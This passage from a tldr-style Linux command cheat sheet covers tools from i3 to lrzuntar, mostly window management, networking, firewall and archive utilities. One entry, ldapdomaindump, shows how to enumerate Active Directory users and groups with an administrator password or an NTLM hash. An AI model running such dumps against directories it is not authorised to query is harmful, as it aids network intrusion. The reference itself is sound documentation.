i3-scrot --window-to-clipboard

• Capture a screenshot of a specific selection and copy it to the clipboard:

i3-scrot --select-to-clibpoard

• Capture a screenshot of the active window after a delay of 5 seconds:

i3-scrot --window {{5}}


i3
A dynamic tiling window manager.

More information: https://i3wm.org/docs/userguide.html.

• Start i3 (Note that a pre-existing window manager must not be open when this
command is run.):

i3

• Open a new terminal window:

Super + Return

• Create a new workspace:

Super + Shift + {{number}}

• Switch to workspace {{number}}:

Super + {{number}}

• Open new window horizontally:

Super + h

• Open new window vertically:

Super + v

• Open application (type out application name after executing command):

Super + D
i3exit
Exit the i3 window manager.

More information: https://gitlab.manjaro.org/packages/community/i3/i3exit.

• Log out of i3:

i3exit logout

• Lock i3:

i3exit lock

• Shut down the system:

i3exit shutdown

• Suspend the system:

i3exit suspend

• Switch to the login screen to log in as a different user:

i3exit switch_user

• Hibernate the system:

i3exit hibernate

• Reboot the system:

i3exit reboot
i3lock
Simple screen locker built for the i3 window manager.

More information: https://i3wm.org/i3lock.

• Lock the screen showing a white background:

i3lock

• Lock the screen with a simple color background (rrggbb format):

i3lock --color {{0000ff}}

• Lock the screen to a PNG background:

i3lock --image {{path/to/file.png}}

• Lock the screen and disable the unlock indicator (removes feedback on keypress):

i3lock --no-unlock-indicator

• Lock the screen and don't hide the mouse pointer:

i3lock --pointer {{default}}

• Lock the screen to a PNG background tiled over all monitors:

i3lock --image {{path/to/file.png}} --tiling

• Lock the screen and show the number of failed login attempts:

i3lock --show-failed-attempts
i3status
Status line for the i3 window manager.

This command is usually called from the i3 configuration file.

More information: https://i3wm.org/i3status/manpage.html.

• Print the status line to stdout periodically, using the default configuration:

i3status

• Print the status line to stdout periodically, using a specific configuration:

i3status -c {{path/to/i3status.conf}}

• Display the i3status version and help:

i3status -h
i7z
An Intel CPU (only i3, i5 and i7) realtime reporting tool.

More information: https://manned.org/i7z.

• Start i7z (needs to be run in superuser mode):

sudo i7z
ifdown
Disable network interfaces.

More information: https://manned.org/ifdown.

• Disable interface eth0:

ifdown {{eth0}}

• Disable all interfaces which are enabled:

ifdown -a
iftop
Show bandwidth usage on an interface by host.

More information: https://manned.org/iftop.

• Show the bandwidth usage:

sudo iftop

• Show the bandwidth usage of a given interface:

sudo iftop -i {{interface}}

• Show the bandwidth usage with port information:

sudo iftop -P

• Do not show bar graphs of traffic:

sudo iftop -b

• Do not look up hostnames:

sudo iftop -n

• Get help about interactive commands:

?
ifup
Tool used to enable network interfaces.

More information: https://manpages.debian.org/latest/ifupdown/ifup.8.html.

• Enable interface eth0:

ifup {{eth0}}

• Enable all the interfaces defined with "auto" in /etc/network/interfaces:

ifup -a
imgp
Command-line image resizer and rotator for JPEG and PNG images.

More information: https://github.com/jarun/imgp.

• Convert single images and/or whole directories containing valid image formats:

imgp -x {{1366x1000}} {{path/to/directory}} {{path/to/file}}

• Scale an image by 75% and overwrite the source image to a target resolution:

imgp -x {{75}} -w {{path/to/file}}

• Rotate an image clockwise by 90 degrees:

imgp -o {{90}} {{path/to/file}}


inotifywait
Waits for changes to one or more files.

More information: https://manned.org/inotifywait.

• Run a command when a file changes:

while inotifywait {{path/to/file}}; do {{command}}; done

• Be quiet about watching for changes:

while inotifywait --quiet {{path/to/file}}; do {{command}};


done

• Watch a directory recursively for changes:

while inotifywait --recursive {{path/to/directory}}; do


{{command}}; done

• Exclude files matching a regular expression:

while inotifywait --recursive {{path/to/directory}} --exclude


'{{regular_expression}}'; do {{command}}; done

• Wait at most 30 seconds:

while inotifywait --timeout {{30}} {{path/to/file}}; do


{{command}}; done

• Only watch for file modification events:

while inotifywait --event {{modify}} {{path/to/file}}; do


{{command}}; done
inxi
Print a summary of system information and resources for debugging purposes.

More information: https://manned.org/inxi.

• Print a summary of CPU, memory, hard drive and kernel information:

inxi

• Print a full description of CPU, memory, disk, network and process information:

inxi -Fz

• Print information about the distribution's repository:

inxi -r
iostat
Report statistics for devices and partitions.

More information: https://manned.org/iostat.

• Display a report of CPU and disk statistics since system startup:

iostat

• Display a report of CPU and disk statistics with units converted to megabytes:

iostat -m

• Display CPU statistics:

iostat -c

• Display disk statistics with disk names (including LVM):

iostat -N

• Display extended disk statistics with disk names for device "sda":

iostat -xN {{sda}}

• Display incremental reports of CPU and disk statistics every 2 seconds:

iostat {{2}}
ip address
IP Address management subcommand.

More information: https://manned.org/ip-address.

• List network interfaces and their associated IP addresses:

ip address

• Filter to show only active network interfaces:

ip address show up

• Display information about a specific network interface:

ip address show dev {{eth0}}

• Add an IP address to a network interface:

ip address add {{ip_address}} dev {{eth0}}

• Remove an IP address from a network interface:

ip address delete {{ip_address}} dev {{eth0}}

• Delete all IP addresses in a given scope from a network interface:

ip address flush dev {{eth0}} scope {{global|host|link}}


ip link
Manage network interfaces.

More information: https://man7.org/linux/man-pages/man8/ip-link.8.html.

• Show information about all network interfaces:

ip link

• Show information about a specific network interface:

ip link show {{ethN}}

• Bring a network interface up or down:

ip link set {{ethN}} {{up|down}}

• Give a meaningful name to a network interface:

ip link set {{ethN}} alias "{{LAN Interface}}"

• Change the MAC address of a network interface:

ip link set {{ethN}} address {{ff:ff:ff:ff:ff:ff}}

• Change the MTU size for a network interface to use jumbo frames:

ip link set {{ethN}} mtu {{9000}}


ip-neighbour
Neighbour/ARP tables management IP subcommand.

More information: https://manned.org/ip-neighbour.8.

• Display the neighbour/ARP table entries:

ip neighbour

• Remove entries in the neighbour table on device eth0:

sudo ip neighbour flush dev {{eth0}}

• Perform a neighbour lookup and return a neighbour entry:

ip neighbour get {{lookup_ip}} dev {{eth0}}

• Add or delete an ARP entry for the neighbour IP address to eth0:

sudo ip neighbour {{add|del}} {{ip_address}} lladdr


{{mac_address}} dev {{eth0}} nud reachable

• Change or replace an ARP entry for the neighbour IP address to eth0:

sudo ip neighbour {{change|replace}} {{ip_address}} lladdr


{{new_mac_address}} dev {{eth0}}
ip route
IP Routing table management subcommand.

More information: https://manned.org/ip-route.

• Display the routing table:

ip route {{show|list}}

• Add a default route using gateway forwarding:

sudo ip route add default via {{gateway_ip}}

• Add a default route using eth0:

sudo ip route add default dev {{eth0}}

• Add a static route:

sudo ip route add {{destination_ip}} via {{gateway_ip}} dev


{{eth0}}

• Delete a static route:

sudo ip route del {{destination_ip}} dev {{eth0}}

• Change or replace a static route:

sudo ip route {{change|replace}} {{destination_ip}} via


{{gateway_ip}} dev {{eth0}}

• Show which route will be used by the kernel to reach an IP address:

ip route get {{destination_ip}}


ip rule
IP routing policy database management.

More information: https://man7.org/linux/man-pages/man8/ip-rule.8.html.

• Display the routing policy:

ip rule {{show|list}}

• Add a new rule based on packet source addresses:

sudo ip rule add from {{192.168.178.2/32}}

• Add a new rule based on packet destination addresses:

sudo ip rule add to {{192.168.178.2/32}}

• Delete a rule based on packet source addresses:

sudo ip rule delete from {{192.168.178.2/32}}

• Delete a rule based on packet destination addresses:

sudo ip rule delete to {{192.168.178.2/32}}

• Flush all deleted rules:

ip rule flush

• Save all rules to a file:

ip rule save > {{path/to/ip_rules.dat}}

• Restore all rules from a file:

ip rule restore < {{path/to/ip_rules.dat}}


ip
Show / manipulate routing, devices, policy routing and tunnels.

Some subcommands such as ip address have their own usage documentation.

More information: https://www.man7.org/linux/man-pages/man8/ip.8.html.

• List interfaces with detailed info:

ip address

• List interfaces with brief network layer info:

ip -brief address

• List interfaces with brief link layer info:

ip -brief link

• Display the routing table:

ip route

• Show neighbors (ARP table):

ip neighbour

• Make an interface up/down:

ip link set {{interface}} up/down

• Add/Delete an IP address to an interface:

ip addr add/del {{ip}}/{{mask}} dev {{interface}}

• Add a default route:

ip route add default via {{ip}} dev {{interface}}


ipcalc
Perform simple operations and calculations on IP addresses and networks.

More information: https://manned.org/ipcalc.

• Show information about an address or network with a given subnet mask:

ipcalc {{1.2.3.4}} {{255.255.255.0}}

• Show information about an address or network in CIDR notation:

ipcalc {{1.2.3.4}}/{{24}}

• Show the broadcast address of an address or network:

ipcalc -b {{1.2.3.4}}/{{30}}

• Show the network address of provided IP address and netmask:

ipcalc -n {{1.2.3.4}}/{{24}}

• Display geographic information about a given IP address:

ipcalc -g {{1.2.3.4}}
ipcmk
Create IPC (Inter-process Communication) resources.

More information: https://manned.org/ipcmk.

• Create a shared memory segment:

ipcmk --shmem {{segment_size_in_bytes}}

• Create a semaphore:

ipcmk --semaphore {{element_size}}

• Create a message queue:

ipcmk --queue

• Create a shared memory segment with specific permissions (default is 0644):

ipcmk --shmem {{segment_size_in_bytes}} {{octal_permissons}}


ipcrm
Delete IPC (Inter-process Communication) resources.

More information: https://manned.org/ipcrm.

• Delete a shared memory segment by ID:

ipcrm --shmem-id {{shmem_id}}

• Delete a shared memory segment by key:

ipcrm --shmem-key {{shmem_key}}

• Delete an IPC queue by ID:

ipcrm --queue-id {{ipc_queue_id}}

• Delete an IPC queue by key:

ipcrm --queue-key {{ipc_queue_key}}

• Delete a semaphore by ID:

ipcrm --semaphore-id {{semaphore_id}}

• Delete a semaphore by key:

ipcrm --semaphore-key {{semaphore_key}}

• Delete all IPC resources:

ipcrm --all
ipset
A tool to create IP sets for firewall rules.

More information: https://manned.org/ipset.

• Create an empty IP set which will contain IP addresses:

ipset create {{set_name}} hash:ip

• Destroy a specific IP set:

ipset destroy {{set_name}}

• Add an IP address to a specific set:

ipset add {{set_name}} {{192.168.1.25}}

• Delete a specific IP address from a set:

ipset del {{set_name}} {{192.168.1.25}}

• Save an IP set:

ipset save {{set_name}} > {{path/to/ip_set}}


iptables
Program that allows configuration of tables, chains and rules provided by the Linux
kernel firewall.

More information: https://www.netfilter.org/projects/iptables/.

• View chains, rules, and packet/byte counters for the filter table:

sudo iptables -vnL

• Set chain policy rule:

sudo iptables -P {{chain}} {{rule}}

• Append rule to chain policy for IP:

sudo iptables -A {{chain}} -s {{ip}} -j {{rule}}

• Append rule to chain policy for IP considering protocol and port:

sudo iptables -A {{chain}} -s {{ip}} -p {{protocol}} --dport


{{port}} -j {{rule}}

• Add a NAT rule to translate all traffic from the 192.168.0.0/24 subnet to the
host's public IP:

sudo iptables -t {{nat}} -A {{POSTROUTING}} -s


{{192.168.0.0/24}} -j {{MASQUERADE}}

• Delete chain rule:

sudo iptables -D {{chain}} {{rule_line_number}}

• Save iptables configuration of a given table to a file:

sudo iptables-save -t {{tablename}} > {{path/to/


iptables_file}}

• Restore iptables configuration from a file:

sudo iptables-restore < {{path/to/iptables_file}}


isoinfo
Utility programs for dumping and verifying ISO disk images.

More information: https://manned.org/isoinfo.

• List all the files included in an ISO image:

isoinfo -f -i {{path/to/image.iso}}

• E[x]tract a specific file from an ISO image and send it out stdout:

isoinfo -i {{path/to/image.iso}} -x {{/PATH/TO/FILE/INSIDE/


ISO.EXT}}

• Show header information for an ISO disk image:

isoinfo -d -i {{path/to/image.iso}}
isosize
Display the size of an ISO file.

More information: https://manned.org/isosize.

• Display the size of an ISO file:

isosize {{path/to/file.iso}}

• Display the block count and block size of an ISO file:

isosize --sectors {{path/to/file.iso}}

• Display the size of an ISO file divided by a given number (only usable when --
sectors is not given):

isosize --divisor={{number}} {{path/to/file.iso}}


iw
Show and manipulate wireless devices.

More information: https://manned.org/iw.

• Scan for available wireless networks:

iw dev {{wlp}} scan

• Join an open wireless network:

iw dev {{wlp}} connect {{SSID}}

• Close the current connection:

iw dev {{wlp}} disconnect

• Show information about the current connection:

iw dev {{wlp}} link


iwconfig
Configure and show the parameters of a wireless network interface.

More information: https://manned.org/iwconfig.

• Show the parameters and statistics of all the interfaces:

iwconfig

• Show the parameters and statistics of the specified interface:

iwconfig {{interface}}

• Set the ESSID (network name) of the specified interface (e.g. eth0 or wlp2s0):

iwconfig {{interface}} {{new_network_name}}

• Set the operating mode of the specified interface:

iwconfig {{interface}} mode {{ad hoc|Managed|Master|Repeater|


Secondary|Monitor|Auto}}
iwctl
A command-line tool for controlling the iwd network supplicant.

More information: https://iwd.wiki.kernel.org/gettingstarted.

• Start the interactive mode, in this mode you can enter the commands directly,
with autocompletion:

iwctl

• Call general help:

iwctl --help

• Display your Wi-Fi stations:

iwctl station list

• Start looking for networks with a station:

iwctl station {{station}} scan

• Display the networks found by a station:

iwctl station {{station}} get-networks

• Connect to a network with a station, if credentials are needed they will be asked:

iwctl station {{station}} connect {{network_name}}


jobs
BASH builtin for viewing information about processes spawned by the current shell.

More information: https://manned.org/jobs.

• View jobs spawned by the current shell:

jobs

• List jobs and their process IDs:

jobs -l

• Display information about jobs with changed status:

jobs -n

• Display process ID of process group leader:

jobs -p

• Display running processes:

jobs -r

• Display stopped processes:

jobs -s
journalctl
Query the systemd journal.

More information: https://manned.org/journalctl.

• Show all messages from this [b]oot:

journalctl -b

• Show all messages from last [b]oot:

journalctl -b -1

• Show all messages with priority level 3 (errors) from this [b]oot:

journalctl -b --priority={{3}}

• [f]ollow new messages (like tail -f for traditional syslog):

journalctl -f

• Show all messages by a specific [u]nit:

journalctl -u {{unit}}

• Filter messages within a time range (either timestamp or placeholders like


"yesterday"):

journalctl --since {{now|today|yesterday|tomorrow}} --until


{{YYYY-MM-DD HH:MM:SS}}

• Show all messages by a specific process:

journalctl _PID={{pid}}

• Show all messages by a specific executable:

journalctl {{path/to/executable}}
jpegtran
Perform lossless transformation of JPEG files.

More information: https://manned.org/jpegtran.

• Mirror an image horizontally or vertically:

jpegtran -flip {{horizontal|vertical}} {{path/to/image.jpg}}


> {{path/to/output.jpg}}

• Rotate an image 90, 180 or 270 degrees clockwise:

jpegtran -rotate {{90|180|270}} {{path/to/image.jpg}} >


{{path/to/output.jpg}}

• Transpose the image across the upper-left to lower right axis:

jpegtran -transpose {{path/to/image.jpg}} > {{path/to/


output.jpg}}

• Transverse the image across the upper right to lower left axis:

jpegtran -transverse {{path/to/image.jpg}} > {{path/to/


output.jpg}}

• Convert the image to grayscale:

jpegtran -grayscale {{path/to/image.jpg}} > {{path/to/


output.jpg}}

• Crop the image to a rectangular region of width W and height H from the upper-left
corner, saving the output to a specific file:

jpegtran -crop {{W}}x{{H}} -outfile {{path/to/output.jpg}}


{{path/to/image.jpg}}

• Crop the image to a rectangular region of width W and height H, starting at point X
and Y from the upper-left corner:

jpegtran -crop {{W}}x{{H}}+{{X}}+{{Y}} {{path/to/image.jpg}}


> {{path/to/output.jpg}}
kde-inhibit
Inhibit various desktop functions while a command runs.

• Inhibit power management:

kde-inhibit --power {{command}} {{command_arguments}}

• Inhibit screen saver:

kde-inhibit --screenSaver {{command}} {{command_arguments}}

• Launch VLC, and inhibit color correction (night mode) while it's running:

kde-inhibit --colorCorrect {{vlc}}


kdocker
Easily dock applications to the system tray.

More information: https://github.com/user-none/KDocker.

• Display a cursor to send a window to the system tray when pressing the left mouse
button (press any other mouse button to cancel):

kdocker

• Open an application and send it to the system tray:

kdocker {{application}}

• Send focused window to the system tray:

kdocker -f

• Display a cursor to send a window to the system tray with a custom icon when
pressing the left mouse button:

kdocker -i {{/path/to/icon}}

• Open an application, send it to the system tray and if focus is lost, minimize it:

kdocker -l {{application}}

• Print version:

kdocker --version
kexec
Directly reboot into a new kernel.

More information: https://manned.org/kexec.

• Load a new kernel:

kexec -l {{path/to/kernel}} --initrd={{path/to/initrd}} --


command-line={{arguments}}

• Load a new kernel with current boot parameters:

kexec -l {{path/to/kernel}} --initrd={{path/to/initrd}} --


reuse-cmdline

• Execute a currently loaded kernel:

kexec -e

• Unload current kexec target kernel:

kexec -u
keyctl
Manipulate the Linux kernel keyring.

More information: https://manned.org/keyctl.

• List keys in a specific keyring:

keyctl list {{target_keyring}}

• List current keys in the user default session:

keyctl list {{@us}}

• Store a key in a specific keyring:

keyctl add {{type_keyring}} {{key_name}} {{key_value}}


{{target_keyring}}

• Store a key with its value from standard input:

echo -n {{key_value}} | keyctl padd {{type_keyring}}


{{key_name}} {{target_keyring}}

• Put a timeout on a key:

keyctl timeout {{key_name}} {{timeout_in_seconds}}

• Read a key and format it as a hex-dump if not printable:

keyctl read {{key_name}}

• Read a key and format as-is:

keyctl pipe {{key_name}}

• Revoke a key and prevent any further action on it:

keyctl revoke {{key_name}}


kjv
The word of God available right on your desktop.

More information: https://github.com/bontibon/kjv.

• Display books:

kjv -l

• Open a specific book:

kjv {{Genesis}}

• Open a specific chapter of a book:

kjv {{Genesis}} {{2}}

• Open a specific verse of a specific chapter of a book:

kjv {{John}} {{3}}:{{16}}

• Open a specific range of verses of a book's chapter:

kjv {{Proverbs}} {{3}}:{{1-6}}

• Display a specific range of verses of a book from different chapters:

kjv {{Matthew}} {{1}}:{{7}}-{{2}}:{{6}}

• Display all verses that match a pattern:

kjv /{{Plagues}}

• Display all verses that match a pattern in a specific book:

kjv {{1Jn}}/{{antichrist}}
konsole
Konsole: The KDE terminal emulator.

More information: https://konsole.kde.org.

• Open a new Konsole in a specific directory:

konsole --workdir {{path/to/directory}}

• Run a specific command and do not close the window after it exits:

konsole --noclose -e {{command}}

• Open a new tab:

konsole --new-tab

• Open a Konsole in the background and bring to the front when Ctrl+Shift+F12 (by
default) is pressed:

konsole --background-mode

• Open a Konsole with the emergency FALLBACK profile:

konsole --fallback-profile
kpackagetool5
KPackage Manager: Install, list, remove Plasma packages.

More information: https://techbase.kde.org/Development/Tutorials/Plasma5/QML2/


GettingStarted#Kpackagetool5.

• List all known package types that can be installed:

kpackagetool5 --list-types

• Install the package from a directory:

kpackagetool5 --type {{package_type}} --install {{path/to/


directory}}

• Update installed package from a directory:

kpackagetool5 --type {{package_type}} --upgrade {{path/to/


directory}}

• List installed plasmoids (--global for all users):

kpackagetool5 --type Plasma/Applet --list --global

• Remove a plasmoid by name:

kpackagetool5 --type Plasma/Applet --remove "{{name}}"


kpartx
Create device maps from partition tables.

More information: https://manned.org/kpartx.

• Add partition mappings:

kpartx -a {{whole_disk.img}}

• Delete partition mappings:

kpartx -d {{whole_disk.img}}

• List partition mappings:

kpartx -l {{whole_disk.img}}
kreadconfig5
Read KConfig entries for KDE Plasma.

More information: https://userbase.kde.org/KDE_System_Administration/


Configuration_Files.

• Read a key from the global configuration:

kreadconfig5 --group {{group_name}} --key {{key_name}}

• Read a key from a specific configuration file:

kwriteconfig5 --file {{path/to/file}} --group {{group_name}}


--key {{key_name}}

• Check if systemd is used to start the Plasma session:

kreadconfig5 --file {{startkderc}} --group {{General}} --key


{{systemdBoot}}
kscreen-console
Command-line tool to query KScreen's status.

More information: https://manned.org/kscreen-console.

• Show all outputs and configuration files to attach to a bug report:

kscreen-console bug

• Show paths to KScreen configuration files:

kscreen-console config

• Show KScreen output information and configuration:

kscreen-console outputs

• Monitor for changes:

kscreen-console monitor

• Show the current KScreen configuration as JSON:

kscreen-console json

• Display help:

kscreen-console --help

• Display help including Qt specific command-line options:

kscreen-console --help-all
kscreen-doctor
Change and manipulate the screen setup from the command-line.

More information: https://invent.kde.org/plasma/libkscreen.

• Show display output information:

kscreen-doctor --outputs

• Set the rotation of a display output with an ID of 1 to the right:

kscreen-doctor {{output.1.rotation.right}}

• Set the scale of a display output with an ID of HDMI-2 to 2 (200%):

kscreen-doctor {{output.HDMI-2.scale.2}}
ksvgtopng5
Convert SVG files to PNG format.

More information: https://invent.kde.org/plasma/kde-cli-tools/-/blob/master/


ksvgtopng/ksvgtopng.cpp.

• Convert an SVG file (should be an absolute path) to PNG:

ksvgtopng5 {{width}} {{height}} {{path/to/file.svg}}


{{output_filename.png}}
kwrite
Text editor of the KDE Desktop project.

See also kate.

More information: https://apps.kde.org/kwrite/.

• Open a text file:

kwrite {{path/to/file}}

• Open multiple text files:

kwrite {{file1 file2 ...}}

• Open a text file with a specific encoding:

kwrite --encoding={{UTF-8}} {{path/to/file}}

• Open a text file and navigate to a specific line and column:

kwrite --line {{line_number}} --column {{column_number}}


{{path/to/file}}
kwriteconfig5
Write KConfig entries for KDE Plasma.

More information: https://userbase.kde.org/KDE_System_Administration/


Configuration_Files.

• Display help:

kwriteconfig5 --help

• Set a global configuration key:

kwriteconfig5 --group {{group_name}} --key {{key}} {{value}}

• Set a key in a specific configuration file:

kwriteconfig5 --file {{path/to/file}} --group {{group_name}}


--key {{key}} {{value}}

• Delete a key:

kwriteconfig5 --group {{group_name}} --key {{key}} --delete

• Use systemd to start the Plasma session when available:

kwriteconfig5 --file {{startkderc}} --group {{General}} --key


{{systemdBoot}} {{true}}

• Hide the title bar when a window is maximized (like Ubuntu):

kwriteconfig5 --file {{~/.config/kwinrc}} --group {{Windows}}


--key {{BorderlessMaximizedWindows}} {{true}}

• Configure KRunner to open with the Meta (Command/Windows) global hotkey:

kwriteconfig5 --file {{~/.config/kwinrc}} --group


{{ModifierOnlyShortcuts}} --key {{Meta}}
{{"org.kde.kglobalaccel,/component/
krunner_desktop,org.kde.kglobalaccel.Component,invokeShortcut,_launch"
larasail
A CLI tool for managing Laravel on Digital Ocean servers.

More information: https://github.com/thedevdojo/larasail.

• Set up the server with Laravel dependencies using the default PHP version:

larasail setup

• Set up the server with Laravel dependencies using a specific PHP version:

larasail setup {{php71}}

• Add a new Laravel site:

larasail host {{domain}} {{path/to/site_directory}}

• Retrieve the Larasail user password:

larasail pass

• Retrieve the Larasail MySQL password:

larasail mysqlpass
lastb
Show a listing of last logged in users.

More information: https://manned.org/lastb.

• Show a list of all last logged in users:

sudo lastb

• Show a list of all last logged in users since a given time:

sudo lastb --since {{YYYY-MM-DD}}

• Show a list of all last logged in users until a given time:

sudo lastb --until {{YYYY-MM-DD}}

• Show a list of all logged in users at a specific time:

sudo lastb --present {{hh:mm}}

• Show a list of all last logged in users and translate the IP into a hostname:

sudo lastb --dns


lastcomm
Show last commands executed.

More information: https://manpages.debian.org/stable/acct/lastcomm.1.en.html.

• Print information about all the commands in the acct (record file):

lastcomm

• Display commands executed by a given user:

lastcomm --user {{user}}

• Display information about a given command executed on the system:

lastcomm --command {{command}}

• Display information about commands executed on a given terminal:

lastcomm --tty {{terminal_name}}


lastlog
Show the most recent login of all users or of a given user.

More information: https://manned.org/lastlog.

• Display the most recent login of all users:

lastlog

• Display the lastlog record of the specified user:

lastlog --user {{username}}

• Display records older than 7 days:

lastlog --before {{7}}

• Display records more recent than 3 days:

lastlog -time {{3}}


ldapdomaindump
Dump users, computers, groups, OS and membership information via LDAP to HTML,
JSON and greppable output.

See also ldapsearch.

More information: https://github.com/dirkjanm/ldapdomaindump.

• Dump all information using the given LDAP account:

ldapdomaindump --user {{domain}}\\{{administrator}} --


password {{password|ntlm_hash}} {{hostname|ip}}

• Dump all information, resolving computer hostnames:

ldapdomaindump --resolve --user {{domain}}\\{{administrator}}


--password {{password}} {{hostname|ip}}

• Dump all information, resolving computer hostnames with the selected DNS
server:

ldapdomaindump --resolve --dns-server


{{domain_controller_ip}} --user {{domain}}\\{{administrator}}
--password {{password}} {{hostname|ip}}

• Dump all information to the given directory without JSON output:

ldapdomaindump --no-json --outdir {{path/to/directory}} --


user {{domain}}\\{{administrator}} --password {{password}}
{{hostname|ip}}
ldconfig
Configure symlinks and cache for shared library dependencies.

More information: https://manned.org/ldconfig.

• Update symlinks and rebuild the cache (usually run when a new library is
installed):

sudo ldconfig

• Update the symlinks for a given directory:

sudo ldconfig -n {{path/to/directory}}

• Print the libraries in the cache and check whether a given library is present:

ldconfig -p | grep {{library_name}}


ldd
Display shared library dependencies.

More information: https://manned.org/ldd.

• Display shared library dependencies of a binary:

ldd {{path/to/binary}}

• Display unused direct dependencies:

ldd -u {{path/to/binary}}
legit
Complementary command-line interface for Git.

More information: https://frostming.github.io/legit.

• Switch to a specified branch, stashing and restoring unstaged changes:

git switch {{target_branch}}

• Synchronize current branch, automatically merging or rebasing, and stashing and


unstashing:

git sync

• Publish a specified branch to the remote server:

git publish {{branch_name}}

• Remove a branch from the remote server:

git unpublish {{branch_name}}

• List all branches and their publication status:

git branches {{glob_pattern}}

• Remove the last commit from the history:

git undo {{--hard}}


lftp
Sophisticated file transfer program.

More information: https://lftp.yar.ru/lftp-man.html.

• Connect to an FTP server:

lftp {{ftp.example.com}}

• Download multiple files (glob expression):

mget {{path/to/*.png}}

• Upload multiple files (glob expression):

mput {{path/to/*.zip}}

• Delete multiple files on the remote server:

mrm {{path/to/*.txt}}

• Rename a file on the remote server:

mv {{original_filename}} {{new_filename}}

• Download or update an entire directory:

mirror {{path/to/remote_dir}} {{path/to/local_output_dir}}

• Upload or update an entire directory:

mirror -R {{path/to/local_dir}} {{path/to/remote_output_dir}}


libreoffice
CLI for the powerful and free office suite LibreOffice.

More information: https://www.libreoffice.org/.

• Open a space-separated list of files in read-only mode:

libreoffice --view {{path/to/file1}} {{path/to/file2}}

• Display the content of specific files:

libreoffice --cat {{path/to/file1}} {{path/to/file2}}

• Print files to a specific printer:

libreoffice --pt {{printer_name}} {{path/to/file1}} {{path/


to/file2}}

• Convert all .doc files in current directory to PDF:

libreoffice --convert-to {{pdf}} {{*.doc}}


light
CLI to control the backlight of your screen.

More information: https://manned.org/light.

• Get the current backlight value in percent:

light

• Set the backlight value to 50 percent:

light -S {{50}}

• Reduce 20 percent from the current backlight value:

light -U {{20}}

• Add 20 percent to the current backlight value:

light -A {{20}}
line
Read a single line of input.

More information: https://manned.org/line.1.

• Read input:

line
lnav
Advanced log file viewer to analyze logs with little to no setup.

More information: https://docs.lnav.org/en/latest/cli.html.

• View logs of a program, specifying log files, directories or URLs:

lnav {{path/to/log_or_directory|url}}

• View logs of a specific remote host (SSH passwordless login required):

lnav {{ssh}} {{user}}@{{host1.example.com}}:{{/var/log/


syslog.log}}

• Validate the format of log files against the configuration and report any errors:

lnav -C {{path/to/log_directory}}
locale
Get locale-specific information.

More information: https://manned.org/locale.

• List all global environment variables describing the user's locale:

locale

• List all available locales:

locale --all-locales

• Display all available locales and the associated metadata:

locale --all-locales --verbose

• Display the current date format:

locale date_fmt
localectl
Control the system locale and keyboard layout settings.

More information: https://www.freedesktop.org/software/systemd/man/localectl.html.

• Show the current settings of the system locale and keyboard mapping:

localectl

• List available locales:

localectl list-locales

• Set a system locale variable:

localectl set-locale {{LANG}}={{en_US.UTF-8}}

• List available keymaps:

localectl list-keymaps

• Set the system keyboard mapping for the console and X11:

localectl set-keymap {{us}}


locate
Find filenames quickly.

More information: https://manned.org/locate.

• Look for pattern in the database. Note: the database is recomputed periodically
(usually weekly or daily):

locate {{pattern}}

• Look for a file by its exact filename (a pattern containing no globbing characters is
interpreted as *pattern*):

locate */{{filename}}

• Recompute the database. You need to do it if you want to find recently added files:

sudo updatedb
login
Initiates a session for a user.

More information: https://manned.org/login.

• Log in as a user:

login {{user}}

• Log in as user without authentication if user is preauthenticated:

login -f {{user}}

• Log in as user and preserve environment:

login -p {{user}}

• Log in as a user on a remote host:

login -h {{host}} {{user}}


logsave
Save the output of a command in a logfile.

More information: https://manned.org/logsave.

• Execute command with specified argument(s) and save its output to log file:

logsave {{path/to/logfile}} {{command}}

• Take input from standard input and save it in a log file:

logsave {{logfile}} -

• Append the output to a log file, instead of replacing its current contents:

logsave -a {{logfile}} {{command}}

• Show verbose output:

logsave -v {{logfile}} {{command}}


logwatch
Summarizes many different logs for common services (e.g. apache, pam_unix, sshd, etc.)
in a single report.

More information: https://manned.org/logwatch.

• Analyze logs for a range of dates at a certain level of detail:

logwatch --range {{yesterday|today|all|help}} --detail {{low|


medium|others}}'

• Restrict report to only include information for a selected service:

logwatch --range {{all}} --service {{apache|pam_unix|etc}}


losetup
Set up and control loop devices.

More information: https://manned.org/losetup.

• List loop devices with detailed info:

losetup -a

• Attach a file to a given loop device:

sudo losetup /dev/{{loop}} /{{path/to/file}}

• Attach a file to a new free loop device and scan the device for partitions:

sudo losetup --show --partscan -f /{{path/to/file}}

• Attach a file to a read-only loop device:

sudo losetup --read-only /dev/{{loop}} /{{path/to/file}}

• Detach all loop devices:

sudo losetup -D

• Detach a given loop device:

sudo losetup -d /dev/{{loop}}


lrunzip
A large file decompression program.

See also lrzip, lrztar, lrzuntar.

More information: https://manned.org/lrunzip.

• Decompress a file:

lrunzip {{filename.lrz}}

• Decompress a file using a specific number of processor threads:

lrunzip -p {{8}} {{filename.lrz}}

• Decompress a file and silently overwrite files if they exist:

lrunzip -f {{filename.lrz}}

• Keep broken or damaged files instead of deleting them when decompressing:

lrunzip -K {{filename.lrz}}

• Specify output file name and/or path:

lrunzip -o {{outfilename}} {{filename.lrz}}


lrzip
A large file compression program.

See also lrunzip, lrztar, lrzuntar.

More information: https://manned.org/lrzip.

• Compress a file with LZMA - slow compression, fast decompression:

lrzip {{filename}}

• Compress a file with BZIP2 - good middle ground for compression/speed:

lrzip -b {{filename}}

• Compress with ZPAQ - extreme compression, but very slow:

lrzip -z {{filename}}

• Compress with LZO - light compression, extremely fast decompression:

lrzip -l {{filename}}

• Compress a file and password protect/encrypt it:

lrzip -e {{filename}}

• Override the number of processor threads to use:

lrzip -p {{8}} {{filename}}


lrztar
A wrapper for lrzip to simplify compression of directories.

See also: tar, lrzuntar, lrunzip.

More information: https://manned.org/lrztar.

• Archive a directory with tar, then compress:

lrztar {{path/to/directory}}

• Same as above, with ZPAQ - extreme compression, but very slow:

lrztar -z {{path/to/directory}}

• Specify the output file:

lrztar -o {{path/to/file}} {{path/to/directory}}

• Override the number of processor threads to use:

lrztar -p {{8}} {{path/to/directory}}

• Force overwriting of existing files:

lrztar -f {{path/to/directory}}
lrzuntar
A wrapper for lrunzip to simplify decompression of directories.

See also: lrztar, lrzip.

More information: https://manned.org/lrzuntar.

• Decompress from a file to the current directory:

lrzuntar {{path/to/archive.tar.lrz}}

• Decompress from a file to the current directory using a specific number of


processor threads:

lrzuntar -p {{8}} {{path/to/archive.tar.lrz}}

• Decompress from a file to the current directory and silently overwrite items that
already exist:

lrzuntar -f {{archive.tar.lrz}}

• Specify the output path:

lrzuntar -O {{path/to/directory}} {{archive.tar.lrz}}

• Delete the compressed file after decompression:

